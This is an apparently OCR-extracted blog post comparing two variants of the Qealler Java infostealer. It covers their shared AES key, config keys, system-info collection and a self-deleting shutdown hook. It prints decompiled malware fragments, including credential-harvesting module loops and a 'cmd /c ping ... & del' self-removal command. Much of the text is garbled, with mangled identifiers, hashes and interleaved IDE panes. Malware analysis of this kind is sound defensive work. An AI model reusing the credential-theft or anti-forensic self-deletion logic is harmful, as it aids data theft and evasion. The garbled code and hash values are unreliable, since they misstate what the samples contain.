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In this last part, we will compare Old Qealler with the new Qealler/Pyrogenic variant. The
previous posts Pyrogenic Infostealer static analysis — Part 0x1 & Unpacking
Pyrogenic/Qealler using_Java agent -Part 0x2 went through the latest Pyrogenic/Qealler [©!
statically and dumping the unpacked code using Java agent.
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June 2018
First Old Qealler sample 41 (MD5: 65ab1ef8e9cef5c489d4b01cbb8a2a22) found on
ANY.RUN

Aug - Sep 2018
The tweetl!l by @James_inthe_box first mentioned the Old Qealler. @jeFFOFalltrades
posted Qealler Unloaded deep dive analysis [2 .

Jan-Feb 2019
Multiple cyber security company posted articles!®! about Qealler variant using the Qazagne
Python credential harvester.

Apr 2019
Based on ANY.RUN submissions, Old Qealler variant using the Qazagne stopped around
April 2019
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Aug 2019 - Now
Based on ANY.RUN submissions, Qealler tagged samples started around Aug 2019 and
continue till now Aug 2020.

grade

Note: When this post mention Old Qealler it means that the variant which was using the
Qazagne Python credential harvester.

Similarity between Qealler variants

For easy/fast comparison, | have imported unpacked code of both Qealler variant in Eclipse
IDE. | will compare this Old Qealler (MD5: 8D564A18B902461C19936CCB1F4E2F12) [2
and new Pyrogenic/Qealler sample (MD5: FOE21C7789CD57EEBFSECDBI9FADAB26B) (8]
used in the previous posts. Highly recommended to read through the existing analysis of Old
Qealler Unloaded? by @jeFFOFalltrades & article 2] by Zscaler.

Both Qealler variants use the same Qrypter packer variant.

1. AES Key bbb6fec5ebef0d93

You will find multiple references to bbb6fec5ebef0d93 as shown below. This is the AES key
used in both variant.

10

11 while(vars.hasNext()) {

2 Entry var6;

13 String var3 = (String)(var6 = (Entry)vars.next()).getKey();

14 String var? = IT111TTTITTITTII1T111T1TI10TIT11T1TITT17I10T11T1T11TIT11T111. T1TT101TT1T1IT1TI1T110TT1ITT1TIT11T11T111TTI111TTI1IT11TTII111((String)vars.getValue(), "bbbéfecSebefeds3”);
15 +this. 1TT11TTIITIITITITITITIITTIITIIITIITIIIIIITITITIITITITITIIIITITINNIIITIINNIIL. setProperty (var3, var?);

16 II111III1II177117111017 1100117173711 71171171711TI0117711. 171210111713 T111TTI3T11IT1IT11T1TI31T100T1ITI10TTI0TIIT11TIIT1T11II11T1T11(" Loaded: " + var3 + " ¢ " + var7);
17 T

18

19 } catch (Throwable vard) {

30 II111TTI1TT1771171117173017TI71171717717311711717111177113711.1771117111111171110T11T1173013711171T711111301TTT110TTI1TII11TII11171117111111] (vam.l);

51 throw new Throwable(vard);

52 ¥

53

}

& public final String 1IT11TT11111T111TTTIIT1III1II11011T11T11101ITT11IIT10TIT110TI1T1011T73101111(T100111T1101TIT1I111113TI1T0T11711T1111111T111ITI1IT11ITT111 varl) §
return this.1IT11TT11T11T111TITIITITITIITTIIITIITI0T11IT1ITTAITITITITIIITIITITINIIIITIT11(varl, (String)null);
H

e public final String 1TT11TT11T11T111TTITITTITIIIITIITIITI1TI11TITIITITITIIITIIITITIATATIATIITITA0(IITITI101TTIT1IT1IT1T113TIATIITAITIITI0TLI1TTIIITITILINIIIIOLAL varl, String var2) {
return this.1IT11TT11T11T111TIT1IT1TIT1TTI11TI0T11T111T1IIT11TITITIT11III1I1TI1TT11T1T11. getProperty (q.I1111TIT1ITT1IT11T111T1II11TIT11T1I1II1TT11T11T1T11TII11TIT11.T1IT111TT1T1TIT1II11111]

}

= public static 1TT11IT11T11T111TIT1IIITTTIITIIITIIIIITIITITICIITILIIIIIIICTIITICIIIIIIO4TI] 1TT11TT11010T131TTTITIITCCICTIITITINNCNNICICCIIICCIICICIICIONNITNIICLNILINNIC)
if (TLITLLLITLTLITOITLILLLTITLITILITLLILLILLLITLLLITIILITLLIICNLL == null) {
Class var@ = 1II11IT11T11I111III1II1IITIITI10I1II11T101T0TII0IIII4TIITILIIIIIII11II11II11. class;
synchronized(1T111IT11T11T111TTI1II1TIT1TT11T1IT11T111T1TIT11TIIITIITI1IITII1TI11IT11T1I1]  class) {
if (ILITULLIILTLITLITLILIAITLITILIILLILLTLLLITLLLIITLITLLIITLLL == null) {
TLITLLLITCILITLITLILLLIILIITLITLLILLILLLTITLLLITILITLLITILLL = new 1TT11TTI11T11T111TIIIIIIIITIIIIIIL

1T111TITITIITITITTTIIITITITITNITIIIINILLC);

< i

| Securityjava i1 = O 5] Problems @ Javadec [3) Declaration 47 Search 03 ColXRmElsmE

1 package j.t.e.core.utils; ~ 0 bbbffecSehef)dd3 -9 matches in workspace

M 4l temp

3% import java.lang.reflect.Constructor;[] 4 src

- ]

© public eclass Security { &t

1 private static final String key = "I E T ST EE" “Be

12 4 (= core

13%  public static String encrypt(String input) { + W il

- Security,java (3 matches)

1; return encrypt(input, "bbbéfecsebefodos"” New al :I.e]:'—ﬁj¢ e i et Siing ey = BRSSO
1 ¥ & 14 return encrypt(input, "bbbbfecsebef0dda");
16 © 18: return decrypt(input, "bbbbfecSebefidd3");
17 public static String decrypt(String input) { L4 i
18 return decrypt(input, "bbbéfec5ebefBdas”); 4 (> I
19 ¥ o [ O O DN v
2 © 44: String varT = etValue(), "bbbbfecSebefddd3")
218 public static String encrypt(String input, String key) { (= IOV D OO
22 FixKeyLength(); o (3] 0 N v (4 )
2 bykel) crypted = ma; o wssman,  O1d Qealler Sep 2018
24 o 4 ) "blbbBfecSebeddd )

try { © 54 .. I "bbbbfecSebefddd3 ), "UTF-8)) getBytes(" UTF-8));
SecretKeySpec skey = new SecretKeySpec(key.getBytes("UT 2 72 1.to5tring(), "
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Paddin; » [1) Hesdjava

cipher.init(1, skey);
crypted = cipher.doFinal(input.getBytes());
} catch (Exception varS) {

return new String(Base64Coder.encode(crypted));

¥

public static String decrypt(String input,
FixKeylength();
byte[] output = nullj

String key) {
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Same AES Key bbb6fec5ebef0d93

2. UUID Key 2a898bc98aaf6¢c96f2054bb1eadc9848eb77633039e9e9ffd833184ce553fe9b

Config is stored in a key value pair and key for UUID present in both variants. This key is
also present in the Old Qealler Unloaded? article and the same string “Loaded:” is used

both variants.

2] T O T java 5
1 package q.IT111ITI1ITITI11T111T1IT11IIT11T1T1ITATI11T11TIT11TII11TI11;
2

return this.T1IT111T11TIT11T111IT10T111T1TT1T11TT111IIT10T111IIT11IT1IT11T111TT11;
¥

19 // $FF: synthetic method
static String ITT11TT11T11T111TTT1TIATTIT1TTI11T1TI117111T1TIT21TIT27ITI11TTIT1T1T11T71171713(TI1TT130TT1TITT1TT1T131TT1TIIITI11T1IT111TI131TITITIIITITIAL var‘@) {

3 public enum I1TTI11TTITITIITTITIIITTITITITTIITINTIIITTINITITINTIIIIININL {

4 LITLLITLLILLILLLIIILIILITILITILLILITLLILLLILIITLLITILITILLITIILILILLIILLILILL( " 2a898bc98aafbc96T2054bbleadc9848eb77633039e9e9ffd833184ce553fedb™),
5 ILITLLLITLILITLITLILLLITLITILEILLILLILLLITLLLITILITLLITILLL( " d7c363a2019dac744cfO76e11433547a47907e2c2f781e2d1c8F59a40c57dd@3"),

6 LILLITILLLITLILLITLLITLLLITLIEILLITILLITLITLLLILILLILLITLITILLILLIILITLLILL( " 8e65457409feadb2a183125F1cOF552080edblcefas16b14698cb8dAabfsbbed™),
7 IILLLITILITLITLLILLLILETLLITILLILILITLITLLILLILILLIIILLITLL("0e10ad6938994F2466b192d8129217ad39155b823a082b64120484a12126b3b");

8

9 private final String T1TT111T11TITIITIIITTINITIIITITTITINTIINITITIITIIITIIINITTITINITINIIILL;

10

11 private I1II111TT1T1TT1TI1T111TT1ITI1II11T11T111TI111TIT1I111TII111(String var3) { 44— 01d QeallEI
12 this.T1TI111TI1TTTIIITIITINITIIITITTIATIITTINITITNITNIIITITINIITITINIIIININLIL = var3;

13 ¥

14

158 public final String 1II11II11I11I111III1ITITIIIII11TI1III11T111TIIITAIIIINIIIIIIIININIIIIININIII11() {

4 (1) I java
String key;
for(Iterator var2 = p.entrySet().iterator(); var2.hasNext(); Out.info("Loaded: " + key + " ~~ " + dvalue)) {
Entry es = (Entry)var2.next();
key = (String)es.getKey();
String value = (String)es.getValue();
dvalue = Security.decrypt(value);
if ("2a898bc98aaf6cO6F2054bbleadc9848eb77633039020FFd833184ce553Fe0b" . equals(key)) {
UUID = dvalue;
} else if ("9dac744cf076e11d7c363a2012c2f781e2d1c8F594335472479072a40c57dd03" . equals(key)) {
if (dvalue.contains(","
ips = dvalue.split("
String[] vars = ips;
p2 = ips.length;

I

{
»")s 0

for(max = @5 max < p2; ++max) {
String iph = var8[max];
serverIps.add(iph.getBytes()); =

} else {
serverIps.add(dvalue.getBytes());

}
} else if ("809f1250298c16b146b2a183ffa5654b8d0abTSeatdb5748bbEd1c0TS520etce” equals(key)) {
long timestamp = -1L;

Same UUID key

3. Systeminfo in JSON format

It collects the system info in JSON format before encrypting and sending it to CC. Both
Qealler variants use the same key e.g osName, osVersion, osArch, totalMemory and

202
21 return var®.T1TT111T11TTT11T111TT11T111TITTIT11TT111TTT11T111TII11TT1TT11T111TT11;
2}
23 }
2
) Serverjava 52 =0 n 4 Search 37 SRR BE|S B
string[] ips; am ! - 2 matches in workspace
int p2; S A temp
try { 2 s
InputStream is = Server.elass.getResourceAsStrean("/j/t/e/true"); &
Properties p = new Properties(); ‘bi
p.load(is); N s
: i +——— New Qealler ————————— .0 s
if (p.size() == 0) { Q @Q o
throw new Exception("Bad Configuration!™); &aq o
¥ (= TCINCDNTCZ) 0 DN EVCECAT U

in

I

=g

< N O 8289838 3672054 bl ead c9%48¢b77 633038 S O B33 18 cebd3

code structure as shown below. locallpAddress & globallpAddress keys are added to the

new Qealler version.
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m 2
1 package q.I1TT111TTITITTITIITIIITTITTIITONITIICIIITIIIIITTICIIIIITIL; .m
2
3% import java.util.Iterator;[]

7
& public final class IT11TT11TT1T11TTT111TTTI1TII1ITTIITCITIIIITI11TI111TTT1110T011T10TTITII11TTIITILITTIII] implements 1TTT11T111TT1TIT111TT1TT11TTT11TT1TT111TTT111T0111TT111T11TTIT11TTIII01L
% 9 private final Map 1IT11TT11T11T111TTTITTITIIITIIITICIAITIIITITITIIIITICICIICITIIICIIOLIITIONN = new TreeMap();
10
public IT11TT11TTITI1TIIIIITTIIICCIAITTIITCIIIIIITTIIITII11TIT11ICITATIITTITTCIIITIICICLICIINTIIC) { 2
Runtime var2 = Runtime.getRuntime();
+this.1TT11TT11T11T111TITITT1TITTT10T1TT11T111TATITI10TITITITIITITITITI1TTI11T1T11. put(“osName”, System.getProperty(“os.name", “"none"));
4his. 1TT11TT11T11T101TTT1TT1TII1IT11T1T111T111T1TITITII1TIT11TIIAT1T11TT11T1111. put( " osVerkion", System.getProperty("os.version" one"));
+his. 1TT11TT11T11T111TITITIITITITTI0T1TI11T111TITIIA0TITTITIITITITITITTII1T1I1]. put(“osArch”, System.getProperty(“os.arch”, "none™));
+his.1TT11TT11T11T111TITITI1TITTT10T1TT11T111TITII10TITTITIITITITITI1TTI11T1T111. put(”javaHome”, System.getProperty(“java.home™, “"none"});
this 1TT11TT11T11T111TIT1TI1TITLIT01T1TT11T111TATI TIATTIATI TIITTTATLTITI10TIT1 . put (" userName”, System.getProperty("user.name”, "none™)); @== Q1 d Qealler
this.1TT11TT11T11T111TITITT1TI01TI11T1TT11T100T1TTT11TIIATIT11TII1T1T11TT11T1T11. put(“userHome”, System.getProperty(“user.home”, "none™)); .
this. 1TT11TT11T11T111TIT1TT1IIT1IT11T1IT11T311TITII1ITITITIIIITITITIT11TI11TI1I11. put(“availableProcessor”, "" + var2.availableProcessors());
+his.1TT11TT11711T111TIT1TT1TI01TT31T1TT11T111T1TIT110IT1TIT110ITIT1T11TT11T1111. put(" FreeMemory”, "" + var2.freeMemory()); =
+his. 1TT11TT11T11T110TIT1TT1TIT4IT11T1IT11T101TITIIA0TITITITIIITITITITIITIIITII11. put("totalllemory™, "" + var2.totalMemory());
public final String 1TT11TT11T11T111TITITIITITITIIITITIIITIIITITICIITICITILIICOCITITIIONIITIONIG) {
return "systemInfo";
i D
=g on 4 Search 52 Bl¢@F-t|» =0

MainExjava £
g

=i (o =]

0000 m® w0
RITRLER

161
102
103
G@1eae
165
@1es
@167
@1es
@109
@110
@111
@112
@113
@114
@115
@116
@117
118
119
120 }
11

-

this.add(new Pidgin());
this.add(new PostgresQL());
this.add(new Squirrel());
this. add(new Tortoise());

i
iterator();

while(varl._hasNext()) {

¥

Software software = (Software)varl.next();

try {
List output = software.run();
if (output.size() > 0) {

allPasswords. addAll(output) ;

i
} catch (Throwable vara) {
}

return allPasswords;

¥

static JSONArray getSysInfo() {

Runtime runtime = Runtime.getRuntime();
1SONArray wrapper = new 350NArray();

wrapper. put((new JSONObject()).
wrapper. put((new JSONObject()).
wrapper. put ((new JSONObject()).
wrapper. put((new JSONObject())-
wrapper. put((new JSONObject()).
wrapper. put ((new JSONObject()).
wrapper.put((new JSONObject()).
wrapper. put((new JSONObject()).
wrapper. put ((new JSONObject()).
wrapper. put((new JSONObject()).pu
wrapper. put((new JSONObject()).

return wrapper;

s.name", "none

"osName") .put("value", System.getProperty(" »;
“osVersien") .put("value”, System.getProperty("os.versien”, "none")));
osArch”).put(“value”, System.getProperty("os.arch”, "none")));
j System.getProperty("java.home", "none"

"none")));
runtime.availableProcessors() +

"availableProcessor™") . put
"freellemory”) .put("value", runtime.freelemory() + ""));
“totalllemory”).put(“value”, runtime.totalMemory() + ""));
"locallpAddress’ ut ("value", IPAddress.getlocalIpAddress()));
"globalIpAddress") .put("value", IPAddress.getGlobalIpAddress()));

bl

Systeminfo in JSON format Qealler Pyrogenic

4. ShutdownHook

It is used when we want to run some code when JVM

the addShutdownHook() to delete the files.

New Qealler/Pyrogenic ———> .0t

= osVersion' - 6 matches in workspace
o R temp
P
]
it
aze
4 credential
> (5 config
b 6 softwares

© 108: wrapper.putl((new JSONObject() putC'key’, ‘BeNersion ). put("value”, System. getProperty("os.versior

aq
4 (> IO O O

ma

1.4 this. TN ) VT R . pust " osVersion”, System. getProperty("os.version”, "none");

000000000000 O

is shutting down and both variants use
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TN O O jv 5 =0
1 package q.I1TT111T11TTTI11T111TT11T111T1TT1T11TT111TII11T110TTI11TT1TI1IT111111];
2
3%import java.io.File;[]

7 public final class 1T11TTT111TT1T11IT11TT111TT1ITI11ITI11ITAII110T1T10T10TTIIITIIT1ITIIIT1ITAL {
8 private static final List (ZILLIZLLILLILLLITILITLITILITLLILITLLILLLILITILLITILITILLITILILILLIILLILILL = new Linkedlist();

16°  public statie veid 1TT11TT11T11T111TTITITTITIIITTIITITIIITIIITITICNIIITITITIIIICINIIIIIIIIIIINI(File var®) {

11 TITT111T11TTT11T111TI11T111T1IT1T10TT110TIT11T111TITI10TTITINITININL varl = new T1TT111T10TTT11T111TT11T111T0TT0T11TT111TII11T111TTTI11TTI1TIIIT111T111(vare);
@12 LITLLTTLLTLLILLLTIILITLITTLITLLILTELLILLLILIITLLTTTLITTLLTIEILILILLITLLILTILL .add(varl) ;

13 }

14

15 // $FF: synthetic method

%16%  static List 1TT11TT11T11T111TTITITTITITITIIIIITIITINITITICIIICIIIICIIIIOINIIIINNIIINIILG) {

17 return LITLLITLLTLLILLLITILITLIIILEILLILITLLILLLILITTLLITILIIILLITILILILLITLATLILL;

18 }

20 static {
%u Runtime.getRuntime().addsha:lel i oo s(new Thread(new IT111TITITIITI11TI1IT1TI1ITITIITITITIIIIIIIIITITINIIINITINNC)));

23 } L4

24 -~
) ShutdownHookjava 33 =0 e a D 5 Search 3 Ctlx%klmE|ldmP-t|le =0

9 + ® “ShutDownHook - § matches in workspace

165  public static void add(File file) { & temp

11 add(() -> { 4 s

12 try { i
®13 boolean varl = FileUtils.deleteRecursive(file); st

14 } catch (Throwable var2) { “ee

15 - 2 core

e 4 uils

17 bH

18 }

19 et et 0.get: 0

205 public static void add(Runnable hook) { & 37: Runtime.getRuntime().addShutdawnHooknew Thread() -> {
w21 heokRunnableList. addFirst(hook); e

22 ¥ (2= 0TIV OO OO

23 s (X)X O O v
1245 public static void addDeleteltself() [ © 17 . Imm( " thi

25 hookRunnabLelist. addLast(() -> { 4 [3) O D v

2 try { © 21: Runtime.getRunti

27 String jarPath = (new File(ShutdownHook.class.getProtectionDomain().getCodeSource().getlocal

28 Runtime.getRuntime().exec("cmd /c ping localhost -n 6 > nul & del \"" + jarPath + "\"");

29 System.exit(@); H

30 } catch (Throwable varl) {

31 3

32

33 s

|

35

365 static {
237 Runtime.getRuntine().addShutdownHook(new Thread(() -> {

38 synchronized(hookRunnableList) {

39 Iterator varl = hookRunnablelist.iterator();

40

1 while(varl.hasNext()) {

12 Runnable hook = (Runnable)varl.next();

hook.run();
¥
47 M
ie )

ShutdownHook

5. QeallerV4 string

Found this string “obfuscated/META-INF/QeallerV4.kotlin_module” in memory in the new
Qealler/Pyrogenic sample. Maybe this is version 4 ?

Conclusion

In this Java malware analysis series we started with static analysis, then moved to
Unpacking code using Java agent and in this last part we compared the Qealler variant.
These above similarities are the most significant which | can find based on code analysis. |
can conclude that the Malware author moved the Credential stealing from Python to Java
based code. Malware authors are experienced coder

as they divided the source code in multiple sensible packages and gave proper name to
functions, variables and classes.

Hope you enjoyed this post, please Follow @Securityinbits me on Twitter to get the latest
update about my malware analysis & DFIR journey. Happy Reversing &
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